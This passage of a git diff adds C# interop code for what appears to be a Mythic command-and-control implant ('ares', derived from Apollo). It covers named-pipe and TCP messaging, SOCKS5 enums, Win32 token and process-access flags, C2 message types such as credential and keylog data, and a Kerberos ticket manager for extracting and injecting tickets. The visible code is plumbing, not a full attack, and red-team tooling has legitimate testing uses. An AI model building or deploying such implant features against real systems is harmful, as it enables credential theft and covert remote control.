|
||||
private void OnClientConnected(IAsyncResult result)
|
||||
{
|
||||
// complete connection
|
||||
NamedPipeServerStream pipe = (NamedPipeServerStream)result.AsyncState;
|
||||
pipe.EndWaitForConnection(result);
|
||||
DebugHelp.DebugWriteLine($"Client connected to Named Pipe: {_pipeName}");
|
||||
if(!IsPersistentConnectionAsync(pipe))
|
||||
{
|
||||
pipe.Close();
|
||||
}
|
||||
// create client pipe structure
|
||||
IPCData pd = new IPCData()
|
||||
{
|
||||
Pipe = pipe,
|
||||
State = null,
|
||||
Data = new byte[_BUF_IN],
|
||||
};
|
||||
|
||||
// Add to connection list
|
||||
if (_running && _connections.TryAdd(pipe, pd))
|
||||
{
|
||||
// Prep the next connection
|
||||
CreateServerPipe();
|
||||
OnConnect(new NamedPipeMessageArgs(pipe, null, this));
|
||||
BeginRead(pd);
|
||||
} else
|
||||
{
|
||||
pipe.Close();
|
||||
}
|
||||
}
|
||||
|
||||
private void BeginRead(IPCData pd)
|
||||
{
|
||||
bool isConnected = pd.Pipe.IsConnected;
|
||||
if (isConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
pd.Pipe.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
|
||||
} catch (Exception ex)
|
||||
{
|
||||
isConnected = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!isConnected)
|
||||
{
|
||||
pd.Pipe.Close();
|
||||
OnDisconnect(new NamedPipeMessageArgs(pd.Pipe, null, pd.State));
|
||||
_connections.TryRemove(pd.Pipe, out IPCData nullobj);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnAsyncMessageReceived(IAsyncResult result)
|
||||
{
|
||||
// read from client until complete
|
||||
IPCData pd = (IPCData)result.AsyncState;
|
||||
Int32 bytesRead = pd.Pipe.EndRead(result);
|
||||
if (bytesRead > 0)
|
||||
{
|
||||
pd.DataLength = bytesRead;
|
||||
OnMessageReceived(new NamedPipeMessageArgs(pd.Pipe, pd, pd.State));
|
||||
}
|
||||
BeginRead(pd);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
using System.IO.Pipes;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class NamedPipeMessageArgs : EventArgs
|
||||
{
|
||||
public PipeStream Pipe;
|
||||
public IPCData Data;
|
||||
public Object State;
|
||||
|
||||
public NamedPipeMessageArgs(PipeStream pipe, IPCData? data, Object state)
|
||||
{
|
||||
Pipe = pipe;
|
||||
if (data != null)
|
||||
Data = (IPCData)data;
|
||||
State = state;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
using ApolloInterop.Constants;
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using System;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class AsyncTcpClient
|
||||
{
|
||||
private readonly TcpClient _client;
|
||||
private readonly string _host;
|
||||
private readonly int _port;
|
||||
private readonly IPAddress _addr = null;
|
||||
private readonly bool _clientConnectionSupplied;
|
||||
|
||||
public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
|
||||
public event EventHandler<TcpMessageEventArgs> MessageReceived;
|
||||
public event EventHandler<TcpMessageEventArgs> Disconnect;
|
||||
|
||||
public AsyncTcpClient(string host, int port)
|
||||
{
|
||||
_client = new TcpClient();
|
||||
_host = host;
|
||||
_port = port;
|
||||
_clientConnectionSupplied = false;
|
||||
}
|
||||
|
||||
public AsyncTcpClient(IPAddress host, int port)
|
||||
{
|
||||
_client = new TcpClient();
|
||||
_addr = host;
|
||||
_port = port;
|
||||
_clientConnectionSupplied = false;
|
||||
}
|
||||
public AsyncTcpClient(TcpClient client)
|
||||
{
|
||||
_client = client;
|
||||
_clientConnectionSupplied = true;
|
||||
}
|
||||
|
||||
public bool Connect()
|
||||
{
|
||||
if (!_clientConnectionSupplied)
|
||||
{
|
||||
try
|
||||
{
|
||||
if (_addr == null)
|
||||
{
|
||||
_client.Connect(_host, _port);
|
||||
}
|
||||
else
|
||||
{
|
||||
_client.Connect(_addr, _port);
|
||||
}
|
||||
// Client times out, so fail.
|
||||
}
|
||||
catch { return false; }
|
||||
}
|
||||
|
||||
// we set pipe to be message transactions ; don't think we need to for tcp
|
||||
IPCData pd = new IPCData()
|
||||
{
|
||||
Client = _client,
|
||||
State = _client,
|
||||
NetworkStream = _client.GetStream(),
|
||||
Data = new byte[IPC.RECV_SIZE],
|
||||
};
|
||||
pd.NetworkStream.ReadTimeout = -1;
|
||||
OnConnect(new TcpMessageEventArgs(_client, pd, _client));
|
||||
BeginRead(pd);
|
||||
return true;
|
||||
}
|
||||
|
||||
private void OnConnect(TcpMessageEventArgs args)
|
||||
{
|
||||
if (ConnectionEstablished != null)
|
||||
{
|
||||
ConnectionEstablished(this, args);
|
||||
}
|
||||
}
|
||||
|
||||
public void BeginRead(IPCData pd)
|
||||
{
|
||||
bool isConnected = pd.Client.Connected;
|
||||
if (isConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isConnected = false;
|
||||
}
|
||||
}
|
||||
|
||||
if (!isConnected)
|
||||
{
|
||||
pd.Client.Close();
|
||||
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
|
||||
}
|
||||
}
|
||||
|
||||
private void OnDisconnect(TcpMessageEventArgs args)
|
||||
{
|
||||
if (Disconnect != null)
|
||||
{
|
||||
Disconnect(this, args);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnMessageReceived(TcpMessageEventArgs args)
|
||||
{
|
||||
if (MessageReceived != null)
|
||||
{
|
||||
MessageReceived(this, args);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnAsyncMessageReceived(IAsyncResult result)
|
||||
{
|
||||
// read from client until complete
|
||||
IPCData pd = (IPCData)result.AsyncState;
|
||||
try
|
||||
{
|
||||
//DebugHelp.DebugWriteLine($"in OnAsyncMessageReceived in AsyncTcpClient");
|
||||
Int32 bytesRead = pd.NetworkStream.EndRead(result);
|
||||
if (bytesRead > 0)
|
||||
{
|
||||
pd.DataLength = bytesRead;
|
||||
OnMessageReceived(new TcpMessageEventArgs(pd.Client, pd, pd.State));
|
||||
} else
|
||||
{
|
||||
pd.Client.Close();
|
||||
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
|
||||
return;
|
||||
}
|
||||
} catch (Exception ex)
|
||||
{
|
||||
pd.Client.Close();
|
||||
OnDisconnect(new TcpMessageEventArgs(pd.Client, null, pd.State));
|
||||
return;
|
||||
}
|
||||
BeginRead(pd);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,134 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using ApolloInterop.Utils;
|
||||
using System;
|
||||
using System.Collections.Concurrent;
|
||||
using System.Net;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class AsyncTcpServer
|
||||
{
|
||||
private readonly int _BUF_IN;
|
||||
private readonly int _BUF_OUT;
|
||||
private readonly int _port;
|
||||
private readonly TcpListener _server;
|
||||
|
||||
private ConcurrentDictionary<TcpClient, IPCData> _connections = new ConcurrentDictionary<TcpClient, IPCData>();
|
||||
|
||||
public event EventHandler<TcpMessageEventArgs> ConnectionEstablished;
|
||||
public event EventHandler<TcpMessageEventArgs> MessageReceived;
|
||||
public event EventHandler<TcpMessageEventArgs> Disconnect;
|
||||
|
||||
private void OnConnect(object sender, TcpMessageEventArgs args) => ConnectionEstablished?.Invoke(sender, args);
|
||||
private void OnMessageReceived(object sender, TcpMessageEventArgs args) => MessageReceived?.Invoke(sender, args);
|
||||
private void OnDisconnect(object sender, TcpMessageEventArgs args) => Disconnect?.Invoke(sender, args);
|
||||
|
||||
private bool _running = true;
|
||||
|
||||
public AsyncTcpServer(int port, int BUF_IN = Constants.IPC.RECV_SIZE, int BUF_OUT = Constants.IPC.SEND_SIZE)
|
||||
{
|
||||
_BUF_IN = BUF_IN;
|
||||
_BUF_OUT = BUF_OUT;
|
||||
_port = port;
|
||||
_server = new TcpListener(IPAddress.Any, port);
|
||||
_server.Start();
|
||||
_server.BeginAcceptTcpClient(OnClientConnected, _server);
|
||||
}
|
||||
|
||||
public void Stop()
|
||||
{
|
||||
_running = false;
|
||||
foreach (var client in _connections.Keys)
|
||||
{
|
||||
client.Close();
|
||||
}
|
||||
while (true)
|
||||
{
|
||||
int count = _connections.Count;
|
||||
if (count == 0)
|
||||
break;
|
||||
System.Threading.Thread.Sleep(5);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnClientConnected(IAsyncResult result)
|
||||
{
|
||||
// complete connection
|
||||
TcpListener server = (TcpListener)result.AsyncState;
|
||||
TcpClient client = server.EndAcceptTcpClient(result);
|
||||
|
||||
// create client pipe structure
|
||||
IPCData pd = new IPCData()
|
||||
{
|
||||
Client = client,
|
||||
NetworkStream = client.GetStream(),
|
||||
State = null,
|
||||
Data = new byte[_BUF_IN],
|
||||
};
|
||||
pd.NetworkStream.ReadTimeout = -1;
|
||||
// Add to connection list
|
||||
if (_running && _connections.TryAdd(client, pd))
|
||||
{
|
||||
_server.BeginAcceptTcpClient(OnClientConnected, _server);
|
||||
OnConnect(this, new TcpMessageEventArgs(client, pd, this));
|
||||
BeginRead(pd);
|
||||
}
|
||||
else
|
||||
{
|
||||
client.Close();
|
||||
}
|
||||
}
|
||||
|
||||
private void BeginRead(IPCData pd)
|
||||
{
|
||||
bool isConnected;
|
||||
try
|
||||
{
|
||||
isConnected = pd.Client.Connected;
|
||||
if (isConnected)
|
||||
{
|
||||
try
|
||||
{
|
||||
pd.NetworkStream.BeginRead(pd.Data, 0, pd.Data.Length, OnAsyncMessageReceived, pd);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
isConnected = false;
|
||||
}
|
||||
}
|
||||
} catch { isConnected = false; }
|
||||
|
||||
if (!isConnected)
|
||||
{
|
||||
pd.Client.Client?.Close();
|
||||
OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
|
||||
_connections.TryRemove(pd.Client, out IPCData _);
|
||||
}
|
||||
}
|
||||
|
||||
private void OnAsyncMessageReceived(IAsyncResult result)
|
||||
{
|
||||
// read from client until complete
|
||||
IPCData pd = (IPCData)result.AsyncState;
|
||||
try
|
||||
{
|
||||
Int32 bytesRead = pd.NetworkStream.EndRead(result);
|
||||
if (bytesRead > 0)
|
||||
{
|
||||
pd.DataLength = bytesRead;
|
||||
OnMessageReceived(this, new TcpMessageEventArgs(pd.Client, pd, pd.State));
|
||||
} else
|
||||
{
|
||||
pd.Client.Close();
|
||||
OnDisconnect(this, new TcpMessageEventArgs(pd.Client, null, pd.State));
|
||||
return;
|
||||
}
|
||||
} catch (Exception ex)
|
||||
{
|
||||
pd.Client.Close();
|
||||
}
|
||||
BeginRead(pd);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,21 @@
|
||||
using ApolloInterop.Structs.ApolloStructs;
|
||||
using System;
|
||||
using System.Net.Sockets;
|
||||
|
||||
namespace ApolloInterop.Classes
|
||||
{
|
||||
public class TcpMessageEventArgs : EventArgs
|
||||
{
|
||||
public TcpClient Client;
|
||||
public IPCData Data;
|
||||
public Object State;
|
||||
|
||||
public TcpMessageEventArgs(TcpClient client, IPCData? data, Object state)
|
||||
{
|
||||
Client = client;
|
||||
if (data != null)
|
||||
Data = (IPCData)data;
|
||||
State = state;
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,8 @@
|
||||
namespace ApolloInterop.Constants
|
||||
{
|
||||
public static class IPC
|
||||
{
|
||||
public const int SEND_SIZE = 30000;
|
||||
public const int RECV_SIZE = 30000;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,7 @@
|
||||
namespace ApolloInterop.Constants
|
||||
{
|
||||
public static class SOCKS
|
||||
{
|
||||
public const int SUPPORTED_VERSION = 5;
|
||||
}
|
||||
}
|
||||
3333
Payload_Type/ares/ares/agent_code/ApolloInterop/Constants/Win32.cs
Normal file
3333
Payload_Type/ares/ares/agent_code/ApolloInterop/Constants/Win32.cs
Normal file
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,91 @@
|
||||
namespace ApolloInterop.Enums
|
||||
{
|
||||
namespace ApolloEnums
|
||||
{
|
||||
public enum Socks5Error
|
||||
{
|
||||
SuccessReply,
|
||||
ServerFailure,
|
||||
RuleFailure,
|
||||
NetworkUnreachable,
|
||||
HostUnreachable,
|
||||
ConnectionRefused,
|
||||
TtlExpired,
|
||||
CommandNotSupported,
|
||||
AddrTypeNotSupported,
|
||||
}
|
||||
|
||||
public enum SocksVersion
|
||||
{
|
||||
Socks5 = 5
|
||||
}
|
||||
|
||||
public enum Socks5AuthError
|
||||
{
|
||||
Success = 0,
|
||||
Failure,
|
||||
NoAcceptable = 255,
|
||||
}
|
||||
|
||||
public enum Socks5AuthType
|
||||
{
|
||||
NoAuth = 0,
|
||||
Version = 1, //????
|
||||
UsernamePassword = 2,
|
||||
}
|
||||
|
||||
public enum Socks5AddressType
|
||||
{
|
||||
IPv4 = 1,
|
||||
FQDN = 3,
|
||||
IPv6 = 4
|
||||
}
|
||||
|
||||
public enum Socks5Command
|
||||
{
|
||||
Connect = 1,
|
||||
Bind = 2,
|
||||
Associate = 3
|
||||
}
|
||||
|
||||
public enum MessageDirection
|
||||
{
|
||||
ToMythic = 0,
|
||||
FromMythic = 1
|
||||
}
|
||||
|
||||
public enum MessageType
|
||||
{
|
||||
C2ProfileData = 0,
|
||||
Credential,
|
||||
RemovedFileInformation,
|
||||
FileInformation,
|
||||
FileBrowser,
|
||||
EdgeNode,
|
||||
SocksDatagram,
|
||||
Artifact,
|
||||
TaskStatus,
|
||||
TaskResponse,
|
||||
DownloadRegistrationMessage,
|
||||
DownloadProgressMessage,
|
||||
Task,
|
||||
DelegateMessage,
|
||||
TaskingMessage,
|
||||
EKEHandshakeMessage,
|
||||
EKEHandshakeResponse,
|
||||
CheckinMessage,
|
||||
UploadMessage,
|
||||
MessageResponse,
|
||||
DownloadMessage,
|
||||
FileBrowserACE,
|
||||
IPCCommandArguments,
|
||||
ExecutePEIPCMessage,
|
||||
ProcessInformation,
|
||||
CommandInformation,
|
||||
ScreenshotInformation,
|
||||
KeylogInformation,
|
||||
CallbackUpdate,
|
||||
CustomBrowser
|
||||
}
|
||||
}
|
||||
}
|
||||
157
Payload_Type/ares/ares/agent_code/ApolloInterop/Enums/Win32.cs
Normal file
157
Payload_Type/ares/ares/agent_code/ApolloInterop/Enums/Win32.cs
Normal file
@@ -0,0 +1,157 @@
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Enums
|
||||
{
|
||||
public static class Win32
|
||||
{
|
||||
public enum TokenType
|
||||
{
|
||||
TokenPrimary = 1,
|
||||
TokenImpersonation
|
||||
}
|
||||
|
||||
public enum TokenInformationClass
|
||||
{
|
||||
TokenUser = 1,
|
||||
TokenGroups,
|
||||
TokenPrivileges,
|
||||
TokenOwner,
|
||||
TokenPrimaryGroup,
|
||||
TokenDefaultDacl,
|
||||
TokenSource,
|
||||
TokenType,
|
||||
TokenImpersonationLevel,
|
||||
TokenStatistics,
|
||||
TokenRestrictedSids,
|
||||
TokenSessionId,
|
||||
TokenGroupsAndPrivileges,
|
||||
TokenSessionReference,
|
||||
TokenSandBoxInert,
|
||||
TokenAuditPolicy,
|
||||
TokenOrigin,
|
||||
TokenElevationType,
|
||||
TokenLinkedToken,
|
||||
TokenElevation,
|
||||
TokenHasRestrictions,
|
||||
TokenAccessInformation,
|
||||
TokenVirtualizationAllowed,
|
||||
TokenVirtualizationEnabled,
|
||||
TokenIntegrityLevel,
|
||||
TokenUIAccess,
|
||||
TokenMandatoryPolicy,
|
||||
TokenLogonSid,
|
||||
TokenIsAppContainer,
|
||||
TokenCapabilities,
|
||||
TokenAppContainerSid,
|
||||
TokenAppContainerNumber,
|
||||
TokenUserClaimAttributes,
|
||||
TokenDeviceClaimAttributes,
|
||||
TokenRestrictedUserClaimAttributes,
|
||||
TokenRestrictedDeviceClaimAttributes,
|
||||
TokenDeviceGroups,
|
||||
TokenRestrictedDeviceGroups,
|
||||
TokenSecurityAttributes,
|
||||
TokenIsRestricted,
|
||||
TokenProcessTrustLevel,
|
||||
TokenPrivateNameSpace,
|
||||
TokenSingletonAttributes,
|
||||
TokenBnoIsolation,
|
||||
TokenChildProcessFlags,
|
||||
MaxTokenInfoClass,
|
||||
TokenIsLessPrivilegedAppContainer,
|
||||
TokenIsSandboxed,
|
||||
TokenOriginatingProcessTrustLevel
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum LogonType : UInt32
|
||||
{
|
||||
LOGON32_LOGON_INTERACTIVE = 2,
|
||||
LOGON32_LOGON_NETWORK = 3,
|
||||
LOGON32_LOGON_BATCH = 4,
|
||||
LOGON32_LOGON_SERVICE = 5,
|
||||
LOGON32_LOGON_UNLOCK = 7,
|
||||
LOGON32_LOGON_NETWORK_CLEARTEXT = 8,
|
||||
LOGON32_LOGON_NEW_CREDENTIALS = 9,
|
||||
LOGON32_REMOTE_INTERACTIVE = 10,
|
||||
LOGON32_LOGON_CACHED_INTERACTIVE = 11,
|
||||
}
|
||||
|
||||
public enum LogonProvider : UInt32
|
||||
{
|
||||
LOGON32_PROVIDER_DEFAULT = 0,
|
||||
LOGON32_PROVIDER_WINNT35 = 1,
|
||||
LOGON32_PROVIDER_WINNT40 = 2,
|
||||
LOGON32_PROVIDER_WINNT50 = 3,
|
||||
LOGON32_PROVIDER_VIRTUAL = 4
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum STARTF : uint
|
||||
{
|
||||
STARTF_USESHOWWINDOW = 0x00000001,
|
||||
STARTF_USESIZE = 0x00000002,
|
||||
STARTF_USEPOSITION = 0x00000004,
|
||||
STARTF_USECOUNTCHARS = 0x00000008,
|
||||
STARTF_USEFILLATTRIBUTE = 0x00000010,
|
||||
STARTF_RUNFULLSCREEN = 0x00000020, // ignored for non-x86 platforms
|
||||
STARTF_FORCEONFEEDBACK = 0x00000040,
|
||||
STARTF_FORCEOFFFEEDBACK = 0x00000080,
|
||||
STARTF_USESTDHANDLES = 0x00000100,
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum CreateProcessFlags
|
||||
{
|
||||
CREATE_BREAKAWAY_FROM_JOB = 0x01000000,
|
||||
CREATE_DEFAULT_ERROR_MODE = 0x04000000,
|
||||
CREATE_NEW_CONSOLE = 0x00000010,
|
||||
CREATE_NEW_PROCESS_GROUP = 0x00000200,
|
||||
CREATE_NO_WINDOW = 0x08000000,
|
||||
CREATE_PROTECTED_PROCESS = 0x00040000,
|
||||
CREATE_PRESERVE_CODE_AUTHZ_LEVEL = 0x02000000,
|
||||
CREATE_SEPARATE_WOW_VDM = 0x00000800,
|
||||
CREATE_SHARED_WOW_VDM = 0x00001000,
|
||||
CREATE_SUSPENDED = 0x00000004,
|
||||
CREATE_UNICODE_ENVIRONMENT = 0x00000400,
|
||||
DEBUG_ONLY_THIS_PROCESS = 0x00000002,
|
||||
DEBUG_PROCESS = 0x00000001,
|
||||
DETACHED_PROCESS = 0x00000008,
|
||||
EXTENDED_STARTUPINFO_PRESENT = 0x00080000,
|
||||
INHERIT_PARENT_AFFINITY = 0x00010000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum ProcessAccessFlags : UInt32
|
||||
{
|
||||
PROCESS_CREATE_PROCESS = 0x0080,
|
||||
PROCESS_CREATE_THREAD = 0x0002,
|
||||
PROCESS_DUP_HANDLE = 0x0040,
|
||||
PROCESS_QUERY_INFORMATION = 0x0400,
|
||||
PROCESS_QUERY_LIMITED_INFORMATION = 0x0200,
|
||||
PROCESS_SET_QUOTA = 0x0100,
|
||||
PROCESS_SUSPEND_RESUME = 0x0800,
|
||||
PROCESS_TERMINATE = 0x0001,
|
||||
PROCESS_VM_OPERATION = 0x0008,
|
||||
PROCESS_VM_READ = 0x0010,
|
||||
PROCESS_VM_WRITE = 0x0020,
|
||||
SYNCHRONIZE = 0x00100000,
|
||||
PROCESS_ALL_ACCESS = 0x000F0000 | 0x00100000 | 0xFFFF,
|
||||
MAXIMUM_ALLOWED = 0x02000000
|
||||
}
|
||||
|
||||
[Flags]
|
||||
public enum DuplicateOptions : uint
|
||||
{
|
||||
DuplicateCloseSource = 0x00000001,
|
||||
DuplicateSameAccess = 0x00000002
|
||||
}
|
||||
|
||||
[Flags]
|
||||
internal enum LogonFlags : uint
|
||||
{
|
||||
LOGON_WITH_PROFILE = 0x00000001,
|
||||
LOGON_NETCREDENTIALS_ONLY = 0x00000002
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,42 @@
|
||||
using System.Collections.Generic;
|
||||
using ApolloInterop.Structs.MythicStructs;
|
||||
|
||||
namespace ApolloInterop.Features.KerberosTickets;
|
||||
|
||||
/// <summary>
|
||||
/// Should serve to manage kerberos tickets.
|
||||
/// Any functions I want to enable calling from other modules like Tasks should be defined here.
|
||||
/// </summary>
|
||||
public interface ITicketManager
|
||||
{
|
||||
//artifact related functions
|
||||
public List<Artifact> GetArtifacts();
|
||||
|
||||
//returns the current LUID
|
||||
public string GetCurrentLuid();
|
||||
|
||||
public string GetTargetProcessLuid(int pid);
|
||||
|
||||
//should return a ticket with the .kirbi initalized with the ticket data
|
||||
public (KerberosTicket?, string) ExtractTicketFromCache(string luid, string serviceName);
|
||||
//should return all tickets in the current LUID or all tickets if running as administrator
|
||||
public List<KerberosTicket> EnumerateTicketsInCache(bool getSystemTickets = false, string luid = "");
|
||||
//loads a ticket into memory and should be tracked by the agent session
|
||||
public (bool, string) LoadTicketIntoCache(byte[] ticket, string luid);
|
||||
//unloads a ticket from memory and should be removed from the agent session
|
||||
public (bool, string) UnloadTicketFromCache(string serviceName, string domainName, string luid, bool All = false);
|
||||
|
||||
public KerberosTicket? GetTicketDetailsFromKirbi(byte[] kirbi);
|
||||
|
||||
|
||||
//returns a list of tickets stored inside the ticket store (if any)
|
||||
public List<KerberosTicketStoreDTO> GetTicketsFromTicketStore();
|
||||
//adds a ticket to the ticket store
|
||||
public void AddTicketToTicketStore(KerberosTicketStoreDTO ticket);
|
||||
//removes a ticket from the ticket store
|
||||
public bool RemoveTicketFromTicketStore(string serviceName, bool All = false);
|
||||
|
||||
|
||||
|
||||
|
||||
}
|
||||
@@ -0,0 +1,41 @@
|
||||
using System;
|
||||
|
||||
namespace ApolloInterop.Features.KerberosTickets;
|
||||
|
||||
public record KerberosTicketDataDTO
|
||||
{
|
||||
public string Luid { get; private set; }
|
||||
|
||||
public string ClientFullName { get; private set; }
|
||||
|
||||
public string ServiceFullName { get; private set; }
|
||||
public DateTime StartTime { get; private set; }
|
||||
public DateTime EndTime { get; private set; }
|
||||
|
||||
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
|
||||
public DateTime RenewTime { get; private set; }
|
||||
|
||||
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
|
||||
public KerbEncType EncryptionType { get; private set; }
|
||||
public KerbTicketFlags TicketFlags { get; private set; }
|
||||
public string base64Ticket { get; private set; }
|
||||
|
||||
|
||||
private KerberosTicketDataDTO() { }
|
||||
|
||||
public static KerberosTicketDataDTO CreateFromKerberosTicket(KerberosTicket ticket, string luid = "0x0")
|
||||
{
|
||||
return new KerberosTicketDataDTO
|
||||
{
|
||||
Luid = ticket.Luid.ToString() is "0x0" ? luid : ticket.Luid.ToString(),
|
||||
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}",
|
||||
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}",
|
||||
StartTime = ticket.StartTime,
|
||||
EndTime = ticket.EndTime,
|
||||
RenewTime = ticket.RenewTime,
|
||||
EncryptionType = ticket.EncryptionType,
|
||||
TicketFlags = ticket.TicketFlags,
|
||||
base64Ticket = Convert.ToBase64String(ticket.Kirbi)
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,68 @@
|
||||
using System;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace ApolloInterop.Features.KerberosTickets;
|
||||
[DataContract]
|
||||
public record KerberosTicketInfoDTO
|
||||
{
|
||||
[DataMember(Name = "luid")]
|
||||
public string Luid { get; private set; }
|
||||
[DataMember(Name = "current_luid")]
|
||||
public string CurrentLuid {get; set; }
|
||||
[DataMember(Name = "client_name")]
|
||||
public string ClientName { get; private set; }
|
||||
[DataMember(Name = "client_realm")]
|
||||
public string ClientDomain { get; private set; }
|
||||
|
||||
public string ClientFullName => $"{ClientName}@{ClientDomain}";
|
||||
[DataMember(Name = "service_name")]
|
||||
public string ServiceName { get; private set; }
|
||||
[DataMember(Name = "service_realm")]
|
||||
public string ServiceDomain { get; private set; }
|
||||
|
||||
public string ServiceFullName => $"{ServiceName}@{ServiceDomain}";
|
||||
[DataMember(Name = "start_time")]
|
||||
public string StartTimeDisplay { get; private set; }
|
||||
public DateTime StartTime { get; private set; }
|
||||
[DataMember(Name = "end_time")]
|
||||
public string EndTimeDisplay { get; private set; }
|
||||
public DateTime EndTime { get; private set; }
|
||||
|
||||
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
|
||||
[DataMember(Name = "renew_time")]
|
||||
public string RenewTimeDisplay { get; private set; }
|
||||
public DateTime RenewTime { get; private set; }
|
||||
|
||||
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
|
||||
[DataMember(Name = "encryption_type")]
|
||||
public string EncryptionTypeDisplay { get; private set; }
|
||||
public KerbEncType EncryptionType { get; private set; }
|
||||
[DataMember(Name = "ticket_flags")]
|
||||
public string TicketFlagsDisplay { get; private set; }
|
||||
public KerbTicketFlags TicketFlags { get; private set; }
|
||||
|
||||
|
||||
private KerberosTicketInfoDTO() { }
|
||||
|
||||
public static KerberosTicketInfoDTO CreateFromKerberosTicket(KerberosTicket ticket)
|
||||
{
|
||||
return new KerberosTicketInfoDTO
|
||||
{
|
||||
Luid = ticket.Luid.ToString(),
|
||||
ClientName = ticket.ClientName,
|
||||
ClientDomain = ticket.ClientRealm,
|
||||
ServiceName = ticket.ServerName,
|
||||
ServiceDomain = ticket.ServerRealm,
|
||||
StartTime = ticket.StartTime,
|
||||
StartTimeDisplay = ticket.StartTime.ToString(),
|
||||
EndTime = ticket.EndTime,
|
||||
EndTimeDisplay = ticket.EndTime.ToString(),
|
||||
RenewTime = ticket.RenewTime,
|
||||
RenewTimeDisplay = ticket.RenewTime.ToString(),
|
||||
EncryptionType = ticket.EncryptionType,
|
||||
EncryptionTypeDisplay = ticket.EncryptionType.ToString(),
|
||||
TicketFlags = ticket.TicketFlags,
|
||||
TicketFlagsDisplay = ticket.TicketFlags.ToString(),
|
||||
};
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
using System;
|
||||
using System.Runtime.Serialization;
|
||||
|
||||
namespace ApolloInterop.Features.KerberosTickets;
|
||||
|
||||
//for the moment this is the same as the KerberosTicketDataDTO, but it will be used for the store so more / different fileds may be added that are unique to the store
|
||||
[DataContract]
|
||||
public record KerberosTicketStoreDTO
|
||||
{
|
||||
[DataMember(Name = "luid")]
|
||||
public string Luid { get; private set; }
|
||||
[DataMember(Name = "client_fullname")]
|
||||
public string ClientFullName { get; private set; }
|
||||
[DataMember(Name = "service_fullname")]
|
||||
public string ServiceFullName { get; private set; }
|
||||
[DataMember(Name = "start_time")]
|
||||
public string StartTimeDisplay { get; private set; }
|
||||
public DateTime StartTime;
|
||||
[DataMember(Name = "end_time")]
|
||||
public string EndTimeDisplay { get; private set; }
|
||||
public DateTime EndTime;
|
||||
public string TimeUntilExpiration => (EndTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
|
||||
[DataMember(Name = "renew_time")]
|
||||
public string RenewTimeDisplay { get; private set; }
|
||||
public DateTime RenewTime;
|
||||
public string TimeUntilRenewal => (RenewTime.ToUniversalTime() - DateTime.UtcNow).ToString(@"dd\.hh\:mm\:ss");
|
||||
public KerbEncType EncryptionType;
|
||||
[DataMember(Name = "encryption_type")]
|
||||
public string EncryptionTypeDisplay { get; private set; }
|
||||
[DataMember(Name = "ticket_flags")]
|
||||
public string TicketFlagsDisplay { get; private set; }
|
||||
public KerbTicketFlags TicketFlags;
|
||||
[DataMember(Name = "ticket")]
|
||||
public string base64Ticket { get; private set; }
|
||||
|
||||
|
||||
public KerberosTicketStoreDTO(KerberosTicket ticket)
|
||||
{
|
||||
Luid = ticket.Luid.ToString();
|
||||
ClientFullName = $"{ticket.ClientName}@{ticket.ClientRealm}";
|
||||
ServiceFullName = $"{ticket.ServerName}@{ticket.ServerRealm}";
|
||||
StartTime = ticket.StartTime;
|
||||
StartTimeDisplay = StartTime.ToString();
|
||||
EndTime = ticket.EndTime;
|
||||
EndTimeDisplay = EndTime.ToString();
|
||||
RenewTime = ticket.RenewTime;
|
||||
RenewTimeDisplay = RenewTime.ToString();
|
||||
EncryptionType = ticket.EncryptionType;
|
||||
EncryptionTypeDisplay = ticket.EncryptionType.ToString();
|
||||
TicketFlags = ticket.TicketFlags;
|
||||
